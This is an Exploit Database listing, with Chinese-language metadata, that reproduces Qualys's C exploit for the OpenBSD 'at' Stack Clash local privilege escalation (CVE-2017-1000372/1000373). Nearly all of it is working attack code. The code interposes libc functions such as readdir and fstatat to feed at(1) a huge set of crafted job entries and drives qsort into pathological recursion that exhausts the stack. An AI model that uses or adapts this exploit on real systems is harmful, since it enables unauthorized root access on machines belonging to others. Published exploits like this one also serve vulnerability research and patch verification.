OpenBSD – ‘at Stack Clash’ Local Privilege Escalation

• Exploit Database
• 12 阅读

• 作者： Qualys Corporation
  日期： 2017-06-28
• 类别：

  • local
  平台：

  • openbsd
• 来源：https://www.exploit-db.com/exploits/42271/

• /*
   * OpenBSD_at.c for CVE-2017-1000373
   * Copyright (c) 2017Qualys, Inc.
   * slowsort() adapted from lib/libc/stdlib/qsort.c:
   *
   * Copyright (c) 1992, 1993
   *The Regents of the University of California.All rights reserved.
   *
   * Redistribution and use in source and binary forms, with or without
   * modification, are permitted provided that the following conditions
   * are met:
   * 1. Redistributions of source code must retain the above copyright
   *notice, this list of conditions and the following disclaimer.
   * 2. Redistributions in binary form must reproduce the above copyright
   *notice, this list of conditions and the following disclaimer in the
   *documentation and/or other materials provided with the distribution.
   * 3. Neither the name of the University nor the names of its contributors
   *may be used to endorse or promote products derived from this software
   *without specific prior written permission.
   *
   * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
   * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
   * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
   * ARE DISCLAIMED.IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
   * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
   * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
   * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
   * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
   * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
   * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
   * SUCH DAMAGE.
   */
  
  /*
   *OpenBSD_at.c for CVE-2017-1000372
   *Copyright (C) 2017Qualys, Inc.
   *ttime() adapted from usr.bin/at/at.c:
   *
   *at.c : Put file into atrun queue
   *Copyright (C) 1993, 1994Thomas Koenig
   *
   *Atrun & Atq modifications
   *Copyright (C) 1993David Parsons
   *
   *Traditional BSD behavior and other significant modifications
   *Copyright (C) 2002-2003Todd C. Miller
   *
   * Redistribution and use in source and binary forms, with or without
   * modification, are permitted provided that the following conditions
   * are met:
   * 1. Redistributions of source code must retain the above copyright
   *notice, this list of conditions and the following disclaimer.
   * 2. The name of the author(s) may not be used to endorse or promote
   *products derived from this software without specific prior written
   *permission.
   *
   * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
   * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
   * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
   * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
   * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
   * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
   * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
   * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
   * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
   * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
   */
  
  #include <ctype.h>
  #include <dirent.h>
  #include <dlfcn.h>
  #include <fcntl.h>
  #include <stdbool.h>
  #include <stdint.h>
  #include <stdlib.h>
  #include <string.h>
  #include <sys/param.h>
  #include <sys/stat.h>
  #include <sys/types.h>
  #include <time.h>
  #include <unistd.h>
  
  static const char *
  u64tostr(uint64_t u64)
  {
  static char str[64];
  char * cp = str + sizeof(str);
  *--cp = '\0';
  do {
  if (cp <= str) _exit(__LINE__);
  *--cp = '0' + (u64 % 10);
  } while (u64 /= 10);
  return cp;
  }
  
  #define die() do { \
  const char * const str = u64tostr(__LINE__); \
  const size_t len = strlen(str); \
  write(STDERR_FILENO, "\n[", 2); \
  write(STDERR_FILENO, str, len); \
  write(STDERR_FILENO, "]\n", 2); \
  _exit(EXIT_FAILURE); \
  } while (0)
  
  static __inline char*med3(char *, char *, char *, int (*)(const void *, const void *));
  static __inline void swapfunc(char *, char *, size_t, int);
  
  /*
   * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function".
   */
  #define swapcode(TYPE, parmi, parmj, n) { \
  size_t i = (n) / sizeof (TYPE); \
  TYPE *pi = (TYPE *) (parmi);\
  TYPE *pj = (TYPE *) (parmj);\
  do {\
  TYPEt = *pi;\
  *pi++ = *pj;\
  *pj++ = t;\
  } while (--i > 0);\
  }
  
  #define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \
  es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1;
  
  static __inline void
  swapfunc(char *a, char *b, size_t n, int swaptype)
  {
  if (swaptype <= 1)
  swapcode(long, a, b, n)
  else
  swapcode(char, a, b, n)
  }
  
  #define swap(a, b)\
  if (swaptype == 0) {\
  long t = *(long *)(a);\
  *(long *)(a) = *(long *)(b);\
  *(long *)(b) = t; \
  } else\
  swapfunc(a, b, es, swaptype)
  
  #define vecswap(a, b, n)if ((n) > 0) swapfunc(a, b, n, swaptype)
  
  static __inline char *
  med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *))
  {
  return cmp(a, b) < 0 ?
   (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a ))
  :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c ));
  }
  
  typedef struct {
  size_t idx;
  size_t key;
  } slowsort_t;
  
  static __inline void
  set_key(void * const _pss, const size_t key)
  {
  slowsort_t * const pss = _pss;
  if (!pss) die();
  if (!key) die();
  if (pss->key) die();
  pss->key = key;
  }
  
  #define RESET_KEY SIZE_MAX
  
  static void
  slowsort(void *aa, size_t n, size_t es, int (*cmp)(const void *, const void *), const size_t stack_size)
  {
  if (!aa) die();
  if (n <= 0) die();
  if (n >= SSIZE_MAX) die();
  if (es <= 0) die();
  if (es >= SSIZE_MAX) die();
  if (!cmp) die();
  
  #define SET_KEYS 4
  #define STACK_FRAME_SIZE 176
  const size_t pathological = stack_size / STACK_FRAME_SIZE * SET_KEYS;
  if (n < pathological) die();
  size_t innocuous = n - pathological;
  
  char *pa, *pb, *pc, *pd, *pl, *pm, *pn;
  int cmp_result, swaptype;
  size_t d, r;
  char *a = aa;
  
  loop: SWAPINIT(a, es);
  if (innocuous) {
  if (n <= innocuous) die();
  if (n - innocuous <= SET_KEYS) die();
  if (n <= 40) die();
  }
  if (n < 7) {
  for (pm = a; pm < a + n * es; pm += es) {
  set_key(pm, 1 + (pm - a) / es);
  }
  for (pm = (char *)a + es; pm < (char *) a + n * es; pm += es)
  for (pl = pm; pl > (char *) a && cmp(pl - es, pl) > 0;
   pl -= es)
  swap(pl, pl - es);
  return;
  }
  pm = (char *)a + (n / 2) * es;
  size_t set_keys = 0;
  if (n > 7) {
  pl = (char *)a;
  pn = (char *)a + (n - 1) * es;
  if (n > 40) {
  d = (n / 8) * es;
  if (innocuous) {
  set_key(pl, RESET_KEY);
  set_key(pl + d, RESET_KEY);
  set_key(pl + 2 * d, RESET_KEY);
  }
  pl = med3(pl, pl + d, pl + 2 * d, cmp);
  if (innocuous) set_key(pm - d, RESET_KEY);
  set_key(pm + 0, n - innocuous - 3);
  set_key(pm + d, n - innocuous - 2);
  pm = med3(pm - d, pm, pm + d, cmp);
  if (innocuous) set_key(pn - 2 * d, RESET_KEY);
  set_key(pn - d, n - innocuous - 1);
  set_key(pn - 0, n - innocuous - 0);
  pn = med3(pn - 2 * d, pn - d, pn, cmp);
  set_keys = SET_KEYS;
  } else {
  set_key(pm, n - 1);
  set_key(pn, n - 0);
  set_keys = 2;
  }
  pm = med3(pl, pm, pn, cmp);
  } else {
  set_key(pm, n - 0);
  set_keys = 1;
  }
  if (!set_keys) die();
  swap(a, pm);
  if (innocuous) {
  if (a != aa) die();
  slowsort_t * pss = aa;
  {
  const size_t key = pss->key;
  if (!key) die();
  if (n <= 40) die();
  if (set_keys != SET_KEYS) die();
  if (key != n - innocuous - set_keys + 1) die();
  }
  const slowsort_t * const end = pss + n;
  size_t i = 0;
  for (;; pss++) {
  if (pss >= end) {
  if (i != innocuous) die();
  break;
  }
  if (!pss->key) {
  if (i < innocuous) {
  set_key(pss, n - i++);
  set_keys++;
  }
  } else if (pss->key == RESET_KEY) {
  pss->key = 0;
  } else {
  if (pss->key > n - innocuous) die();
  }
  }
  }
  pa = pb = (char *)a + es;
  pc = pd = (char *)a + (n - 1) * es;
  for (;;) {
  while (pb <= pc && (cmp_result = cmp(pb, a)) <= 0) {
  if (cmp_result == 0) {
  swap(pa, pb);
  pa += es;
  }
  pb += es;
  }
  while (pb <= pc && (cmp_result = cmp(pc, a)) >= 0) {
  if (cmp_result == 0) {
  swap(pc, pd);
  pd -= es;
  }
  pc -= es;
  }
  if (pb > pc)
  break;
  swap(pb, pc);
  pb += es;
  pc -= es;
  }
  
  pn = (char *)a + n * es;
  r = MIN(pa - (char *)a, pb - pa);
  vecswap(a, pb - r, r);
  r = MIN(pd - pc, pn - pd - (ssize_t)es);
  vecswap(pb, pn - r, r);
  
  if ((pb - pa) / es != n - set_keys) die();
  if ((pd - pc) / es != set_keys - 1) die();
  
  if ((r = pb - pa) > es) {
  n = r / es;
  innocuous = 0;
  goto loop;
  }
  die();
  }
  
  static int
  cmp_key(const void * const a, const void * const b)
  {
  const size_t __a_key = ((const slowsort_t *)a)->key;
  const size_t __b_key = ((const slowsort_t *)b)->key;
  const size_t a_key = __a_key != RESET_KEY ? __a_key : 0;
  const size_t b_key = __b_key != RESET_KEY ? __b_key : 0;
  if (a_key < b_key) return -1;
  if (a_key > b_key) return +1;
  return 0;
  }
  
  #defineATOI2(s)((s) += 2, ((s)[-2] - '0') * 10 + ((s)[-1] - '0'))
  
  /*
   * Adapted from date(1)
   */
  static time_t
  ttime(char *arg)
  {
  time_t now, then;
  struct tm *lt;
  int yearset;
  char *dot, *p;
  
  if (time(&now) == (time_t)-1 || (lt = localtime(&now)) == NULL)
  die();
  
  /* Valid date format is [[CC]YY]MMDDhhmm[.SS] */
  for (p = arg, dot = NULL; *p != '\0'; p++) {
  if (*p == '.' && dot == NULL)
  dot = p;
  else if (!isdigit((unsigned char)*p))
  goto terr;
  }
  if (dot == NULL)
  lt->tm_sec = 0;
  else {
  *dot++ = '\0';
  if (strlen(dot) != 2)
  goto terr;
  lt->tm_sec = ATOI2(dot);
  if (lt->tm_sec > 61)/* could be leap second */
  goto terr;
  }
  
  yearset = 0;
  switch(strlen(arg)) {
  case 12:/* CCYYMMDDhhmm */
  lt->tm_year = ATOI2(arg) * 100;
  lt->tm_year -= 1900;/* Convert to Unix time */
  yearset = 1;
  /* FALLTHROUGH */
  case 10:/* YYMMDDhhmm */
  if (yearset) {
  yearset = ATOI2(arg);
  lt->tm_year += yearset;
  } else {
  yearset = ATOI2(arg);
  /* POSIX logic: [00,68]=>20xx, [69,99]=>19xx */
  lt->tm_year = yearset;
  if (yearset < 69)
  lt->tm_year += 100;
  }
  /* FALLTHROUGH */
  case 8:/* MMDDhhmm */
  lt->tm_mon = ATOI2(arg);
  if (lt->tm_mon > 12 || lt->tm_mon == 0)
  goto terr;
  --lt->tm_mon;/* Convert from 01-12 to 00-11 */
  lt->tm_mday = ATOI2(arg);
  if (lt->tm_mday > 31 || lt->tm_mday == 0)
  goto terr;
  lt->tm_hour = ATOI2(arg);
  if (lt->tm_hour > 23)
  goto terr;
  lt->tm_min = ATOI2(arg);
  if (lt->tm_min > 59)
  goto terr;
  break;
  default:
  goto terr;
  }
  
  lt->tm_isdst = -1;/* mktime will deduce DST. */
  then = mktime(lt);
  if (then == (time_t)-1) {
  terr:
  die();
  }
  if (then < now)
  die();
  return (then);
  }
  
  static bool reading_jobs;
  
  void *
  reallocarray(void * const ptr, const size_t nmemb, const size_t size)
  {
  static void * (* real_reallocarray)(void *ptr, size_t nmemb, size_t size);
  if (!real_reallocarray) {
  real_reallocarray = dlsym(RTLD_NEXT, "reallocarray");
  if (!real_reallocarray) die();
  }
  if (ptr == NULL && nmemb == 2 + 4 && size == sizeof(struct atjob *)) {
  if (reading_jobs) die();
  reading_jobs = true;
  }
  void * const new_ptr = real_reallocarray(ptr, nmemb, size);
  if (!new_ptr) die();
  return new_ptr;
  }
  
  #define NUMJOBS (40<<20)
  
  static const size_t *
  get_jobkeys(void)
  {
  const size_t n = NUMJOBS;
  slowsort_t * const a = calloc(n, sizeof(slowsort_t));
  write(STDERR_FILENO, "initializing jobkeys\n", 21);
  if (!a) die();
  size_t i;
  for (i = 0; i < n; i++) {
  a[i].idx = i;
  }
  slowsort(a, n, sizeof(slowsort_t), cmp_key, 33<<20);
  size_t * const jobkeys = calloc(n, sizeof(*jobkeys));
  write(STDERR_FILENO, "finalizing jobkeys\n", 19);
  if (!jobkeys) die();
  for (i = 0; i < n; i++) {
  const size_t j = a[i].idx;
  const size_t k = a[i].key;
  if (j >= n) die();
  if (k <= 0) die();
  if (k > n) die();
  if (jobkeys[j]) die();
  jobkeys[j] = k;
  }
  free(a);
  return jobkeys;
  }
  
  static struct dirent dirent;
  
  struct dirent *
  readdir(DIR * const dirp)
  {
  static struct dirent * (* real_readdir)(DIR *dirp);
  if (!real_readdir) {
  real_readdir = dlsym(RTLD_NEXT, "readdir");
  if (!real_readdir) die();
  }
  if (!reading_jobs) {
  return real_readdir(dirp);
  }
  static size_t numjobs;
  if (numjobs >= NUMJOBS) {
  write(STDERR_FILENO, "sorting jobs\n", 13);
  return NULL;
  }
  static char arg[32];
  char * cp = arg + sizeof(arg);
  *--cp = '\0';
  {
  static const struct {
  uint32_t min;
  uint32_t max;
  } units[] = {
  { 0, 59 }, /* Second */
  { 0, 59 }, /* Minute */
  { 0, 23 }, /* Hour */
  { 1, 28 }, /* Day */
  { 1, 12 }, /* Month */
  { 2038, 2099 } /* Year */
  };
  static const size_t * jobkeys;
  if (!jobkeys) {
  jobkeys = get_jobkeys();
  if (!jobkeys) die();
  write(STDERR_FILENO, "reading jobs\n", 13);
  }
  uint32_t timer = jobkeys[numjobs++];
  if (timer > NUMJOBS) die();
  if (timer <= 0) die();
  static size_t percent = 10;
  if (numjobs == NUMJOBS / 100 * percent) {
  const char * const str = u64tostr(percent);
  const size_t len = strlen(str);
  write(STDERR_FILENO, str, len);
  write(STDERR_FILENO, "%\n", 2);
  percent += 10;
  }
  size_t i;
  for (i = 0; i < sizeof(units)/sizeof(*units); i++) {
  const uint32_t min = units[i].min;
  const uint32_t max = units[i].max;
  const uint32_t div = max - min + 1;
  const uint32_t u32 = min + timer % div;
  timer /= div;
  if (u32 < min) die();
  if (u32 > max) die();
  const char * const str = u64tostr(u32);
  const size_t len = strlen(str);
  if (cp <= arg) die();
  if (cp - arg < (ssize_t)len) die();
  cp -= len;
  memcpy(cp, str, len);
  if (len < 2) {
  if (cp <= arg) die();
  *--cp = '0';
  }
  if (!i) {
  if (cp <= arg) die();
  *--cp = '.';
  }
  }
  if (timer) die();
  }
  if (strlen(cp) != 15) die();
  const uint64_t timer = ttime(cp);
  strlcpy(dirent.d_name, u64tostr(timer), sizeof(dirent.d_name));
  strlcat(dirent.d_name, ".x", sizeof(dirent.d_name));
  return &dirent;
  }
  
  int
  fstatat(const int fd, const char * const path, struct stat * const sb, const int flag)
  {
  static int (* real_fstatat)(int fd, const char *path, struct stat *sb, int flag);
  if (!real_fstatat) {
  real_fstatat = dlsym(RTLD_NEXT, "fstatat");
  if (!real_fstatat) die();
  }
  if (!reading_jobs || flag != AT_SYMLINK_NOFOLLOW || strcmp(path, dirent.d_name) != 0) {
  return real_fstatat(fd, path, sb, flag);
  }
  memset(sb, 0, sizeof(*sb));
  sb->st_mode = S_IFREG | S_IRUSR | S_IWUSR;
  static uid_t user_uid;
  if (!user_uid) {
  user_uid = getuid();
  if (!user_uid) die();
  }
  sb->st_uid = user_uid;
  return 0;
  }